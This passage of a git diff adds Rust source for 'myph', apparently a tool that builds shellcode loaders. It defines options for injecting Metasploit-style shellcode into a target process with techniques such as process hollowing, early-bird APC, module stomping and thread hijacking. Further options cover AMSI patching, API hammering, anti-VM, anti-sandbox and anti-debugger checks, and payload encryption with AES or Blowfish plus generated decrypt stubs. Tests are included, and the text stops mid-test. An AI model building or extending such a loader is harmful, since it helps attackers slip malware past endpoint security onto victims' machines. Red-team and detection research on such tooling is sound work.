+ EnumCalendar,
+ #[value(name = "enum-windows")]
+ EnumWindows,
+ #[value(name = "enum-system-locales")]
+ EnumSystemLocales,
+ #[value(name = "image-get-digest-stream")]
+ ImageGetDigestStream,
+ #[value(name = "queue-user-apc")]
+ QueueUserAPC,
+ #[value(name = "fairy-law")]
+ FairyLaw,
+ #[value(name = "module-stomping")]
+ ModuleStomping,
+ #[value(name = "thread-hijacking")]
+ ThreadHijacking,
+ #[value(name = "early-bird")]
+ EarlyBird,
+}
+
+#[derive(Debug, Clone, ValueEnum)]
+pub enum BinaryFormat {
+ #[value(name = "exe")]
+ Exe,
+ #[value(name = "dll")]
+ Dll,
+ #[value(name = "lnk")]
+ Lnk,
+}
+
+#[derive(Debug, Parser)]
+#[command(name = "myph")]
+#[command(author, version, about, long_about = None)]
+pub struct Options {
+ /// Binary format (exe,dll)
+ #[arg(short = 'b', long = "binary-format", default_value = "exe")]
+ pub binary_format: BinaryFormat,
+
+ /// Builds binary with debug symbols
+ #[arg(short = 'd', long = "debug")]
+ pub debug: bool,
+
+ /// Encryption method (aes, aes256, chacha20, xor, blowfish, twofish, camellia)
+ #[arg(short = 'e', long = "encryption", default_value = "aes")]
+ pub encryption: EncryptionKind,
+
+ /// Encryption key, auto-generated if empty (if used by --encryption)
+ #[arg(short = 'k', long = "key")]
+ pub key: Option<String>,
+
+ /// Output name
+ #[arg(short = 'f', long = "out", default_value = "out.exe")]
+ pub out: String,
+
+ /// Target process to inject shellcode to
+ #[arg(short = 'p', long = "process", default_value = "cmd.exe")]
+ pub process: String,
+
+ /// Shellcode path
+ #[arg(short = 's', long = "shellcode", default_value = "msf.raw")]
+ pub shellcode: String,
+
+ /// Shellcode-loading technique
+ #[arg(short = 't', long = "technique", default_value = "crt")]
+ pub technique: Technique,
+
+ /// Enable API Hammering (adds random CPU/IO operations between API calls)
+ #[arg(long = "with-api-hammering")]
+ pub with_api_hammering: bool,
+
+ /// Enable AMSI patching to bypass AMSI before executing shellcode
+ #[arg(long = "with-amsi-patch")]
+ pub with_amsi_patch: bool,
+
+ /// Enable string encryption at compile-time with runtime decryption
+ #[arg(long = "with-string-encryption")]
+ pub with_string_encryption: bool,
+
+ /// Enable dynamic function resolver (PEB walk) with encrypted function names
+ #[arg(long = "with-dynamic-function-resolver")]
+ pub with_dynamic_function_resolver: bool,
+
+ /// Enable anti-VM detection checks before executing shellcode
+ #[arg(long = "with-anti-vm")]
+ pub with_anti_vm: bool,
+
+ /// Enable anti-sandbox detection checks before executing shellcode
+ #[arg(long = "with-anti-sandbox")]
+ pub with_anti_sandbox: bool,
+
+ /// Enable anti-debugger detection checks before executing shellcode
+ #[arg(long = "with-anti-debugger")]
+ pub with_anti_debugger: bool,
+
+ /// Check compatibility of technique with selected features and display information
+ #[arg(long = "check-compatibility")]
+ pub check_compatibility: bool,
+}
+
+impl Options {
+ /// Parse command-line arguments and auto-generate key if not provided
+ pub fn parse_and_generate() -> Self {
+ let mut opts = Self::parse();
+
+ // Auto-generate key if not provided
+ if opts.key.is_none() {
+ opts.key = Some(generate_random_key());
+ }
+
+ // Automatically enable string encryption when dynamic function resolver is enabled
+ if opts.with_dynamic_function_resolver {
+ opts.with_string_encryption = true;
+ }
+
+ opts
+ }
+}
+
+/// Generate a random alphanumeric key of length 12-32
+fn generate_random_key() -> String {
+ const CHARSET: &[u8] = b"ABCDEFGHIJKLMNOPQRSTUVWXYZ\
+ abcdefghijklmnopqrstuvwxyz\
+ 0123456789";
+ let mut rng = rand::thread_rng();
+
+ // Random length between 12 and 32
+ let len = rng.gen_range(12..=32);
+
+ (0..len)
+ .map(|_| {
+ let idx = rng.gen_range(0..CHARSET.len());
+ CHARSET[idx] as char
+ })
+ .collect()
+}
+
+#[cfg(test)]
+mod tests {
+ use super::*;
+
+ #[test]
+ fn test_basic() {
+ assert_eq!(2 + 2, 4);
+ }
+
+ #[test]
+ fn test_default_options() {
+ let args = vec!["myph"];
+ let opts = Options::parse_from(args);
+
+ assert_eq!(opts.out, "out.exe");
+ assert_eq!(opts.process, "cmd.exe");
+ assert_eq!(opts.shellcode, "msf.raw");
+ assert!(!opts.debug);
+ assert!(!opts.with_api_hammering);
+ assert!(!opts.with_amsi_patch);
+ assert!(!opts.with_string_encryption);
+ assert!(opts.key.is_none());
+ }
+
+ #[test]
+ fn test_custom_options() {
+ let args = vec![
+ "myph",
+ "-b",
+ "dll",
+ "-d",
+ "-e",
+ "xor",
+ "-k",
+ "test-key",
+ "-f",
+ "payload.dll",
+ "-p",
+ "explorer.exe",
+ "-s",
+ "shellcode.bin",
+ "-t",
+ "create-thread",
+ ];
+ let opts = Options::parse_from(args);
+
+ assert_eq!(opts.out, "payload.dll");
+ assert_eq!(opts.process, "explorer.exe");
+ assert_eq!(opts.shellcode, "shellcode.bin");
+ assert!(opts.debug);
+ assert_eq!(opts.key.as_ref().unwrap(), "test-key");
+ }
+
+ #[test]
+ fn test_encryption_options() {
+ let args = vec!["myph", "-e", "chacha20"];
+ let opts = Options::parse_from(args);
+ assert!(matches!(opts.encryption, EncryptionKind::Chacha20));
+
+ let args = vec!["myph", "-e", "blowfish"];
+ let opts = Options::parse_from(args);
+ assert!(matches!(opts.encryption, EncryptionKind::Blowfish));
+
+ let args = vec!["myph", "-e", "aes"];
+ let opts = Options::parse_from(args);
+ assert!(matches!(opts.encryption, EncryptionKind::AES));
+
+ let args = vec!["myph", "-e", "aes256"];
+ let opts = Options::parse_from(args);
+ assert!(matches!(opts.encryption, EncryptionKind::AES256));
+
+ let args = vec!["myph", "-e", "xor"];
+ let opts = Options::parse_from(args);
+ assert!(matches!(opts.encryption, EncryptionKind::XOR));
+
+ let args = vec!["myph", "-e", "twofish"];
+ let opts = Options::parse_from(args);
+ assert!(matches!(opts.encryption, EncryptionKind::Twofish));
+
+ let args = vec!["myph", "-e", "camellia"];
+ let opts = Options::parse_from(args);
+ assert!(matches!(opts.encryption, EncryptionKind::Camellia));
+ }
+
+ #[test]
+ fn test_technique_options() {
+ let args = vec!["myph", "-t", "crt"];
+ let opts = Options::parse_from(args);
+ assert!(matches!(opts.technique, Technique::CRT));
+
+ let args = vec!["myph", "-t", "crtx"];
+ let opts = Options::parse_from(args);
+ assert!(matches!(opts.technique, Technique::CRTx));
+
+ let args = vec!["myph", "-t", "create-fiber"];
+ let opts = Options::parse_from(args);
+ assert!(matches!(opts.technique, Technique::CreateFiber));
+
+ let args = vec!["myph", "-t", "process-hollowing"];
+ let opts = Options::parse_from(args);
+ assert!(matches!(opts.technique, Technique::ProcessHollowing));
+
+ let args = vec!["myph", "-t", "create-thread"];
+ let opts = Options::parse_from(args);
+ assert!(matches!(opts.technique, Technique::CreateThread));
+
+ let args = vec!["myph", "-t", "nt-create-thread-ex"];
+ let opts = Options::parse_from(args);
+ assert!(matches!(opts.technique, Technique::NtCreateThreadEx));
+
+ let args = vec!["myph", "-t", "syscall"];
+ let opts = Options::parse_from(args);
+ assert!(matches!(opts.technique, Technique::Syscall));
+
+ let args = vec!["myph", "-t", "etwp"];
+ let opts = Options::parse_from(args);
+ assert!(matches!(opts.technique, Technique::Etwp));
+
+ let args = vec!["myph", "-t", "set-timer"];
+ let opts = Options::parse_from(args);
+ assert!(matches!(opts.technique, Technique::SetTimer));
+
+ let args = vec!["myph", "-t", "enum-windows"];
+ let opts = Options::parse_from(args);
+ assert!(matches!(opts.technique, Technique::EnumWindows));
+
+ let args = vec!["myph", "-t", "enum-system-locales"];
+ let opts = Options::parse_from(args);
+ assert!(matches!(opts.technique, Technique::EnumSystemLocales));
+
+ let args = vec!["myph", "-t", "image-get-digest-stream"];
+ let opts = Options::parse_from(args);
+ assert!(matches!(opts.technique, Technique::ImageGetDigestStream));
+
+ let args = vec!["myph", "-t", "queue-user-apc"];
+ let opts = Options::parse_from(args);
+ assert!(matches!(opts.technique, Technique::QueueUserAPC));
+
+ let args = vec!["myph", "-t", "fairy-law"];
+ let opts = Options::parse_from(args);
+ assert!(matches!(opts.technique, Technique::FairyLaw));
+ let args = vec!["myph", "-t", "module-stomping"];
+ let opts = Options::parse_from(args);
+ assert!(matches!(opts.technique, Technique::ModuleStomping));
+
+ let args = vec!["myph", "-t", "thread-hijacking"];
+ let opts = Options::parse_from(args);
+ assert!(matches!(opts.technique, Technique::ThreadHijacking));
+
+ let args = vec!["myph", "-t", "early-bird"];
+ let opts = Options::parse_from(args);
+ assert!(matches!(opts.technique, Technique::EarlyBird));
+ }
+
+ #[test]
+ fn test_binary_format_options() {
+ let args = vec!["myph", "-b", "exe"];
+ let opts = Options::parse_from(args);
+ assert!(matches!(opts.binary_format, BinaryFormat::Exe));
+
+ let args = vec!["myph", "-b", "dll"];
+ let opts = Options::parse_from(args);
+ assert!(matches!(opts.binary_format, BinaryFormat::Dll));
+
+ let args = vec!["myph", "-b", "lnk"];
+ let opts = Options::parse_from(args);
+ assert!(matches!(opts.binary_format, BinaryFormat::Lnk));
+ }
+
+ #[test]
+ fn test_key_auto_generation() {
+ let opts = Options::parse_and_generate();
+
+ // Key should be auto-generated
+ assert!(opts.key.is_some());
+ let key = opts.key.unwrap();
+
+ // Key length should be between 12 and 32
+ assert!(key.len() >= 12 && key.len() <= 32);
+
+ // Key should only contain alphanumeric characters
+ assert!(key.chars().all(|c| c.is_alphanumeric()));
+ }
+
+ #[test]
+ fn test_key_provided() {
+ let args = vec!["myph", "-k", "custom-key"];
+ let mut opts = Options::parse_from(args);
+
+ // Manually simulate parse_and_generate behavior
+ if opts.key.is_none() {
+ opts.key = Some(generate_random_key());
+ }
+
+ // Key should be the provided one
+ assert_eq!(opts.key.as_ref().unwrap(), "custom-key");
+ }
+
+ #[test]
+ fn test_with_api_hammering_flag() {
+ let args = vec!["myph", "--with-api-hammering"];
+ let opts = Options::parse_from(args);
+ assert!(opts.with_api_hammering);
+ }
+
+ #[test]
+ fn test_without_api_hammering_flag() {
+ let args = vec!["myph"];
+ let opts = Options::parse_from(args);
+ assert!(!opts.with_api_hammering);
+ }
+
+ #[test]
+ fn test_with_amsi_patch_flag() {
+ let args = vec!["myph", "--with-amsi-patch"];
+ let opts = Options::parse_from(args);
+ assert!(opts.with_amsi_patch);
+ }
+
+ #[test]
+ fn test_without_amsi_patch_flag() {
+ let args = vec!["myph"];
+ let opts = Options::parse_from(args);
+ assert!(!opts.with_amsi_patch);
+ }
+
+ #[test]
+ fn test_with_string_encryption_flag() {
+ let args = vec!["myph", "--with-string-encryption"];
+ let opts = Options::parse_from(args);
+ assert!(opts.with_string_encryption);
+ }
+
+ #[test]
+ fn test_without_string_encryption_flag() {
+ let args = vec!["myph"];
+ let opts = Options::parse_from(args);
+ assert!(!opts.with_string_encryption);
+ }
+
+ #[test]
+ fn test_with_dynamic_function_resolver_flag() {
+ let args = vec!["myph", "--with-dynamic-function-resolver"];
+ let opts = Options::parse_from(args);
+ assert!(opts.with_dynamic_function_resolver);
+ }
+
+ #[test]
+ fn test_without_dynamic_function_resolver_flag() {
+ let args = vec!["myph"];
+ let opts = Options::parse_from(args);
+ assert!(!opts.with_dynamic_function_resolver);
+ }
+
+ #[test]
+ fn test_dynamic_function_resolver_enables_string_encryption() {
+ let args = vec!["myph", "--with-dynamic-function-resolver"];
+ let mut opts = Options::parse_from(args);
+
+ // Simulate parse_and_generate behavior
+ if opts.key.is_none() {
+ opts.key = Some(generate_random_key());
+ }
+ if opts.with_dynamic_function_resolver {
+ opts.with_string_encryption = true;
+ }
+
+ assert!(opts.with_dynamic_function_resolver);
+ assert!(opts.with_string_encryption);
+ }
+
+ #[test]
+ fn test_with_anti_vm_flag() {
+ let args = vec!["myph", "--with-anti-vm"];
+ let opts = Options::parse_from(args);
+ assert!(opts.with_anti_vm);
+ }
+
+ #[test]
+ fn test_without_anti_vm_flag() {
+ let args = vec!["myph"];
+ let opts = Options::parse_from(args);
+ assert!(!opts.with_anti_vm);
+ }
+
+ #[test]
+ fn test_with_anti_sandbox_flag() {
+ let args = vec!["myph", "--with-anti-sandbox"];
+ let opts = Options::parse_from(args);
+ assert!(opts.with_anti_sandbox);
+ }
+
+ #[test]
+ fn test_without_anti_sandbox_flag() {
+ let args = vec!["myph"];
+ let opts = Options::parse_from(args);
+ assert!(!opts.with_anti_sandbox);
+ }
+
+ #[test]
+ fn test_with_anti_debugger_flag() {
+ let args = vec!["myph", "--with-anti-debugger"];
+ let opts = Options::parse_from(args);
+ assert!(opts.with_anti_debugger);
+ }
+
+ #[test]
+ fn test_without_anti_debugger_flag() {
+ let args = vec!["myph"];
+ let opts = Options::parse_from(args);
+ assert!(!opts.with_anti_debugger);
+ }
+
+ #[test]
+ fn test_all_evasion_flags_combined() {
+ let args = vec![
+ "myph",
+ "--with-anti-vm",
+ "--with-anti-sandbox",
+ "--with-anti-debugger",
+ ];
+ let opts = Options::parse_from(args);
+ assert!(opts.with_anti_vm);
+ assert!(opts.with_anti_sandbox);
+ assert!(opts.with_anti_debugger);
+ }
+}
diff --git a/src/encryption/aes256_cipher.rs b/src/encryption/aes256_cipher.rs
@@ -0,0 +1,194 @@
+use super::Encryptor;
+use aes::cipher::{block_padding::Pkcs7, BlockDecryptMut, BlockEncryptMut, KeyIvInit};
+use aes::Aes256;
+use rand::Rng;
+use sha2::{Digest, Sha256};
+
+type Aes256CbcEnc = cbc::Encryptor<Aes256>;
+#[allow(dead_code)]
+type Aes256CbcDec = cbc::Decryptor<Aes256>;
+
+/// AES-256 cipher implementation with CBC mode
+pub struct Aes256Encryptor {
+ key: [u8; 32],
+}
+
+impl Aes256Encryptor {
+ /// Creates a new AES-256 encryptor with the given key
+ /// Uses SHA-256 to derive a proper 32-byte key from the input
+ pub fn new(key: &str) -> Self {
+ let mut hasher = Sha256::new();
+ hasher.update(key.as_bytes());
+ let hash = hasher.finalize();
+
+ let mut key_bytes = [0u8; 32];
+ key_bytes.copy_from_slice(&hash[..32]);
+
+ println!(
+ "[AES-256] Derived key from input (SHA-256): {:02x?}",
+ &key_bytes[..8]
+ );
+
+ Self { key: key_bytes }
+ }
+}
+
+impl Encryptor for Aes256Encryptor {
+ fn encrypt(&self, data: &[u8]) -> Result<Vec<u8>, String> {
+ let mut rng = rand::thread_rng();
+ let mut iv = [0u8; 16];
+ rng.fill(&mut iv);
+
+ println!(
+ "[AES-256] Generated random IV for encryption: {:02x?}",
+ &iv[..8]
+ );
+
+ let cipher = Aes256CbcEnc::new(&self.key.into(), &iv.into());
+ let ciphertext = cipher.encrypt_padded_vec_mut::<Pkcs7>(data);
+
+ let mut result = iv.to_vec();
+ result.extend_from_slice(&ciphertext);
+
+ Ok(result)
+ }
+
+ fn decrypt(&self, data: &[u8]) -> Result<Vec<u8>, String> {
+ if data.len() < 16 {
+ return Err("Ciphertext too short to contain IV".to_string());
+ }
+
+ let iv: [u8; 16] = data[..16].try_into().unwrap();
+ let ciphertext = &data[16..];
+
+ println!("[AES-256] Extracted IV for decryption: {:02x?}", &iv[..8]);
+
+ let cipher = Aes256CbcDec::new(&self.key.into(), &iv.into());
+ cipher
+ .decrypt_padded_vec_mut::<Pkcs7>(ciphertext)
+ .map_err(|e| format!("Decryption error: {:?}", e))
+ }
+
+ fn key_size(&self) -> usize {
+ 32
+ }
+
+ fn algorithm_name(&self) -> &'static str {
+ "AES-256-CBC"
+ }
+
+ fn uses_iv(&self) -> bool {
+ true
+ }
+
+ fn generate_decrypt_code(&self) -> &'static str {
+ r#"/// Decrypts AES-256 CBC encrypted data using the provided key
+///
+/// Returns `Ok(Vec<u8>)` with decrypted data if successful, otherwise returns an error.
+pub fn decrypt_aes256(data: &[u8], key: &[u8]) -> Result<Vec<u8>, String> {
+ use aes::cipher::{block_padding::Pkcs7, BlockDecryptMut, KeyIvInit};
+ use aes::Aes256;
+
+ if data.len() < 16 {
+ return Err("Ciphertext too short to contain IV".to_string());
+ }
+
+ if key.len() != 32 {
+ return Err("Key must be 32 bytes for AES-256".to_string());
+ }
+
+ let iv: [u8; 16] = data[..16].try_into().unwrap();
+ let ciphertext = &data[16..];
+
+ let key_array: [u8; 32] = key.try_into().map_err(|_| "Invalid key length".to_string())?;
+
+ type Aes256CbcDec = cbc::Decryptor<Aes256>;
+ let cipher = Aes256CbcDec::new(&key_array.into(), &iv.into());
+ cipher
+ .decrypt_padded_vec_mut::<Pkcs7>(ciphertext)
+ .map_err(|e| format!("Decryption error: {:?}", e))
+}"#
+ }
+
+ fn required_dependencies(&self) -> Vec<(&'static str, &'static str)> {
+ vec![("aes", "0.8"), ("cbc", "0.1")]
+ }
+}
+
+#[cfg(test)]
+mod tests {
+ use super::*;
+
+ #[test]
+ fn test_aes256_encrypt_decrypt() {
+ let encryptor = Aes256Encryptor::new("my-secret-key-123");
+ let plaintext = b"Hello, World!";
+
+ let encrypted = encryptor.encrypt(plaintext).unwrap();
+ assert_ne!(encrypted, plaintext);
+
+ let decrypted = encryptor.decrypt(&encrypted).unwrap();
+ assert_eq!(decrypted, plaintext);
+ }
+
+ #[test]
+ fn test_aes256_different_keys() {
+ let encryptor1 = Aes256Encryptor::new("key1");
+ let encryptor2 = Aes256Encryptor::new("key2");
+ let plaintext = b"Test data";
+
+ let encrypted1 = encryptor1.encrypt(plaintext).unwrap();
+ let encrypted2 = encryptor2.encrypt(plaintext).unwrap();
+
+ assert_ne!(encrypted1, encrypted2);
+ }
+
+ #[test]
+ fn test_aes256_empty_data() {
+ let encryptor = Aes256Encryptor::new("key");
+ let empty: &[u8] = &[];
+
+ let encrypted = encryptor.encrypt(empty).unwrap();
+ assert!(encrypted.len() >= 16);
+
+ let decrypted = encryptor.decrypt(&encrypted).unwrap();
+ assert_eq!(decrypted.len(), 0);
+ }
+
+ #[test]
+ fn test_aes256_wrong_key_decryption() {
+ let encryptor1 = Aes256Encryptor::new("correct-key");
+ let encryptor2 = Aes256Encryptor::new("wrong-key");
+ let plaintext = b"Secret message";
+
+ let encrypted = encryptor1.encrypt(plaintext).unwrap();
+ let result = encryptor2.decrypt(&encrypted);
+
+ assert!(result.is_err() || result.unwrap() != plaintext);
+ }
+
+ #[test]
+ fn test_aes256_long_data() {
+ let encryptor = Aes256Encryptor::new("secret-key");
+ let plaintext =
+ b"This is a much longer message that exceeds the AES block size of 16 bytes";
+
+ let encrypted = encryptor.encrypt(plaintext).unwrap();
+ assert_ne!(encrypted, plaintext);
+
+ let decrypted = encryptor.decrypt(&encrypted).unwrap();
+ assert_eq!(decrypted, plaintext);
+ }
+
+ #[test]
+ fn test_aes256_binary_data() {
+ let encryptor = Aes256Encryptor::new("key");
+ let plaintext: Vec<u8> = (0..=255).collect();
+
+ let encrypted = encryptor.encrypt(&plaintext).unwrap();
+ assert_ne!(encrypted, plaintext);
+
+ let decrypted = encryptor.decrypt(&encrypted).unwrap();
+ assert_eq!(decrypted, plaintext);
+ }
+}
diff --git a/src/encryption/aes_cipher.rs b/src/encryption/aes_cipher.rs
@@ -0,0 +1,200 @@
+use super::Encryptor;
+use aes::cipher::{block_padding::Pkcs7, BlockDecryptMut, BlockEncryptMut, KeyIvInit};
+use aes::Aes128;
+use rand::Rng;
+use sha2::{Digest, Sha256};
+
+type Aes128CbcEnc = cbc::Encryptor<Aes128>;
+#[allow(dead_code)]
+type Aes128CbcDec = cbc::Decryptor<Aes128>;
+
+/// AES-128 cipher implementation with CBC mode
+pub struct AesEncryptor {
+ key: [u8; 16],
+}
+
+impl AesEncryptor {
+ /// Creates a new AES encryptor with the given key
+ /// Uses SHA-256 to derive a proper 16-byte key from the input
+ pub fn new(key: &str) -> Self {
+ let mut hasher = Sha256::new();
+ hasher.update(key.as_bytes());
+ let hash = hasher.finalize();
+
+ // Take first 16 bytes of hash for AES-128
+ let mut key_bytes = [0u8; 16];
+ key_bytes.copy_from_slice(&hash[..16]);
+
+ println!(
+ "[AES] Derived key from input (SHA-256): {:02x?}",
+ &key_bytes[..8]
+ );
+
+ Self { key: key_bytes }
+ }
+}
+
+impl Encryptor for AesEncryptor {
+ fn encrypt(&self, data: &[u8]) -> Result<Vec<u8>, String> {
+ // Generate random IV
+ let mut rng = rand::thread_rng();
+ let mut iv = [0u8; 16];
+ rng.fill(&mut iv);
+
+ println!(
+ "[AES] Generated random IV for encryption: {:02x?}",
+ &iv[..8]
+ );
+
+ let cipher = Aes128CbcEnc::new(&self.key.into(), &iv.into());
+ let ciphertext = cipher.encrypt_padded_vec_mut::<Pkcs7>(data);
+
+ // Prepend IV to ciphertext
+ let mut result = iv.to_vec();
+ result.extend_from_slice(&ciphertext);
+
+ Ok(result)
+ }
+
+ fn decrypt(&self, data: &[u8]) -> Result<Vec<u8>, String> {
+ if data.len() < 16 {
+ return Err("Ciphertext too short to contain IV".to_string());
+ }
+
+ // Extract IV from beginning of data
+ let iv: [u8; 16] = data[..16].try_into().unwrap();
+ let ciphertext = &data[16..];
+
+ println!("[AES] Extracted IV for decryption: {:02x?}", &iv[..8]);
+
+ let cipher = Aes128CbcDec::new(&self.key.into(), &iv.into());
+ cipher
+ .decrypt_padded_vec_mut::<Pkcs7>(ciphertext)
+ .map_err(|e| format!("Decryption error: {:?}", e))
+ }
+
+ fn key_size(&self) -> usize {
+ 16 // AES-128 uses 16-byte keys
+ }
+
+ fn algorithm_name(&self) -> &'static str {
+ "AES-128-CBC"
+ }
+
+ fn uses_iv(&self) -> bool {
+ true
+ }
+
+ fn generate_decrypt_code(&self) -> &'static str {
+ r#"/// Decrypts AES-128 CBC encrypted data using the provided key
+///
+/// Returns `Ok(Vec<u8>)` with decrypted data if successful, otherwise returns an error.
+pub fn decrypt_aes(data: &[u8], key: &[u8]) -> Result<Vec<u8>, String> {
+ use aes::cipher::{block_padding::Pkcs7, BlockDecryptMut, KeyIvInit};
+ use aes::Aes128;
+
+ if data.len() < 16 {
+ return Err("Ciphertext too short to contain IV".to_string());
+ }
+
+ if key.len() != 16 {
+ return Err("Key must be 16 bytes for AES-128".to_string());
+ }
+
+ let iv: [u8; 16] = data[..16].try_into().unwrap();
+ let ciphertext = &data[16..];
+
+ let key_array: [u8; 16] = key.try_into().map_err(|_| "Invalid key length".to_string())?;
+
+ type Aes128CbcDec = cbc::Decryptor<Aes128>;
+ let cipher = Aes128CbcDec::new(&key_array.into(), &iv.into());
+ cipher
+ .decrypt_padded_vec_mut::<Pkcs7>(ciphertext)
+ .map_err(|e| format!("Decryption error: {:?}", e))
+}"#
+ }
+
+ fn required_dependencies(&self) -> Vec<(&'static str, &'static str)> {
+ vec![("aes", "0.8"), ("cbc", "0.1")]
+ }
+}
+
+#[cfg(test)]
+mod tests {
+ use super::*;
+
+ #[test]
+ fn test_aes_encrypt_decrypt() {
+ let encryptor = AesEncryptor::new("my-secret-key-123");
+ let plaintext = b"Hello, World!";
+
+ let encrypted = encryptor.encrypt(plaintext).unwrap();
+ assert_ne!(encrypted, plaintext);
+
+ let decrypted = encryptor.decrypt(&encrypted).unwrap();
+ assert_eq!(decrypted, plaintext);
+ }
+
+ #[test]
+ fn test_aes_different_keys() {
+ let encryptor1 = AesEncryptor::new("key1");
+ let encryptor2 = AesEncryptor::new("key2");
+ let plaintext = b"Test data";
+
+ let encrypted1 = encryptor1.encrypt(plaintext).unwrap();
+ let encrypted2 = encryptor2.encrypt(plaintext).unwrap();
+
+ assert_ne!(encrypted1, encrypted2);
+ }
+
+ #[test]
+ fn test_aes_empty_data() {
+ let encryptor = AesEncryptor::new("key");
+ let empty: &[u8] = &[];
+
+ let encrypted = encryptor.encrypt(empty).unwrap();
+ // AES with padding will have at least one block
+ assert!(encrypted.len() >= 16);
+
+ let decrypted = encryptor.decrypt(&encrypted).unwrap();
+ assert_eq!(decrypted.len(), 0);
+ }
+
+ #[test]
+ fn test_aes_wrong_key_decryption() {
+ let encryptor1 = AesEncryptor::new("correct-key");
+ let encryptor2 = AesEncryptor::new("wrong-key");
+ let plaintext = b"Secret message";
+
+ let encrypted = encryptor1.encrypt(plaintext).unwrap();
+ let result = encryptor2.decrypt(&encrypted);
+
+ // Decryption with wrong key should fail or produce garbage
+ assert!(result.is_err() || result.unwrap() != plaintext);
+ }
+
+ #[test]
+ fn test_aes_long_data() {
+ let encryptor = AesEncryptor::new("secret-key");
+ let plaintext =
+ b"This is a much longer message that exceeds the AES block size of 16 bytes";
+
+ let encrypted = encryptor.encrypt(plaintext).unwrap();
+ assert_ne!(encrypted, plaintext);
+
+ let decrypted = encryptor.decrypt(&encrypted).unwrap();
+ assert_eq!(decrypted, plaintext);
+ }
+
+ #[test]
+ fn test_aes_binary_data() {
+ let encryptor = AesEncryptor::new("key");
+ let plaintext: Vec<u8> = (0..=255).collect();
+
+ let encrypted = encryptor.encrypt(&plaintext).unwrap();
+ assert_ne!(encrypted, plaintext);
+
+ let decrypted = encryptor.decrypt(&encrypted).unwrap();
+ assert_eq!(decrypted, plaintext);
+ }
+}
diff --git a/src/encryption/blowfish_cipher.rs b/src/encryption/blowfish_cipher.rs
@@ -0,0 +1,238 @@
+use super::Encryptor;
+use blowfish::cipher::{block_padding::Pkcs7, BlockDecryptMut, BlockEncryptMut, KeyIvInit};
+use blowfish::Blowfish;
+use rand::Rng;
+
+type BlowfishCbcEnc = cbc::Encryptor<Blowfish>;
+#[allow(dead_code)]
+type BlowfishCbcDec = cbc::Decryptor<Blowfish>;
+
+/// Blowfish cipher implementation with CBC mode
+pub struct BlowfishEncryptor {
+ key: Vec<u8>,
+}
+
+impl BlowfishEncryptor {
+ /// Creates a new Blowfish encryptor with the given key
+ /// Blowfish supports key sizes from 4 to 56 bytes
+ pub fn new(key: &str) -> Self {
+ let key_data = key.as_bytes();
+
+ // Ensure key is at least 4 bytes and at most 56 bytes
+ let key = if key_data.len() < 4 {
+ println!(
+ "[Blowfish] WARNING: Key length {} is less than 4 bytes, padding to 4 bytes",
+ key_data.len()
+ );
+ // Pad short keys
+ let mut padded = key_data.to_vec();
+ while padded.len() < 4 {
+ padded.push(0);
+ }
+ padded
+ } else if key_data.len() > 56 {
+ println!(
+ "[Blowfish] WARNING: Key length {} exceeds 56 bytes, truncating to 56 bytes",
+ key_data.len()
+ );
+ // Truncate long keys
+ key_data[..56].to_vec()
+ } else {
+ key_data.to_vec()
+ };
+
+ println!("[Blowfish] Using key length: {} bytes", key.len());
+
+ Self { key }
+ }
+}
+
+impl Encryptor for BlowfishEncryptor {
+ fn encrypt(&self, data: &[u8]) -> Result<Vec<u8>, String> {
+ // Generate random IV (8 bytes for Blowfish)
+ let mut rng = rand::thread_rng();
+ let mut iv = [0u8; 8];
+ rng.fill(&mut iv);
+
+ println!(
+ "[Blowfish] Generated random IV for encryption: {:02x?}",
+ &iv
+ );
+
+ let cipher = BlowfishCbcEnc::new_from_slices(&self.key, &iv)
+ .map_err(|e| format!("Failed to create cipher: {:?}", e))?;
+
+ let ciphertext = cipher.encrypt_padded_vec_mut::<Pkcs7>(data);
+
+ // Prepend IV to ciphertext
+ let mut result = iv.to_vec();
+ result.extend_from_slice(&ciphertext);
+
+ Ok(result)
+ }
+
+ fn decrypt(&self, data: &[u8]) -> Result<Vec<u8>, String> {
+ if data.len() < 8 {
+ return Err("Ciphertext too short to contain IV".to_string());
+ }
+
+ // Extract IV from beginning of data
+ let iv: [u8; 8] = data[..8].try_into().unwrap();
+ let ciphertext = &data[8..];
+
+ println!("[Blowfish] Extracted IV for decryption: {:02x?}", &iv);
+
+ let cipher = BlowfishCbcDec::new_from_slices(&self.key, &iv)
+ .map_err(|e| format!("Failed to create cipher: {:?}", e))?;
+
+ cipher
+ .decrypt_padded_vec_mut::<Pkcs7>(ciphertext)
+ .map_err(|e| format!("Decryption error: {:?}", e))
+ }
+
+ fn key_size(&self) -> usize {
+ self.key.len()
+ }
+
+ fn algorithm_name(&self) -> &'static str {
+ "Blowfish-CBC"
+ }
+
+ fn uses_iv(&self) -> bool {
+ true
+ }
+
+ fn generate_decrypt_code(&self) -> &'static str {
+ r#"/// Decrypts Blowfish CBC encrypted data using the provided key
+///
+/// Returns `Ok(Vec<u8>)` with decrypted data if successful, otherwise returns an error.
+pub fn decrypt_blowfish(data: &[u8], key: &[u8]) -> Result<Vec<u8>, String> {
+ use blowfish::cipher::{block_padding::Pkcs7, BlockDecryptMut, KeyIvInit};
+ use blowfish::Blowfish;
+
+ if data.len() < 8 {
+ return Err("Ciphertext too short to contain IV".to_string());
+ }
+
+ if key.is_empty() || key.len() > 56 {
+ return Err("Key must be between 1 and 56 bytes for Blowfish".to_string());
+ }
+
+ let iv: [u8; 8] = data[..8].try_into().unwrap();
+ let ciphertext = &data[8..];
+
+ type BlowfishCbcDec = cbc::Decryptor<Blowfish>;
+ let cipher = BlowfishCbcDec::new_from_slices(key, &iv)
+ .map_err(|e| format!("Failed to create cipher: {:?}", e))?;
+
+ cipher
+ .decrypt_padded_vec_mut::<Pkcs7>(ciphertext)
+ .map_err(|e| format!("Decryption error: {:?}", e))
+}"#
+ }
+
+ fn required_dependencies(&self) -> Vec<(&'static str, &'static str)> {
+ vec![("blowfish", "0.9"), ("cbc", "0.1")]
+ }
+}
+
+#[cfg(test)]
+mod tests {
+ use super::*;
+
+ #[test]
+ fn test_blowfish_encrypt_decrypt() {
+ let encryptor = BlowfishEncryptor::new("my-secret-key-123");
+ let plaintext = b"Hello, World!";
+
+ let encrypted = encryptor.encrypt(plaintext).unwrap();
+ assert_ne!(encrypted, plaintext);
+
+ let decrypted = encryptor.decrypt(&encrypted).unwrap();
+ assert_eq!(decrypted, plaintext);
+ }
+
+ #[test]
+ fn test_blowfish_different_keys() {
+ let encryptor1 = BlowfishEncryptor::new("key1");
+ let encryptor2 = BlowfishEncryptor::new("key2");
+ let plaintext = b"Test data";
+
+ let encrypted1 = encryptor1.encrypt(plaintext).unwrap();
+ let encrypted2 = encryptor2.encrypt(plaintext).unwrap();
+
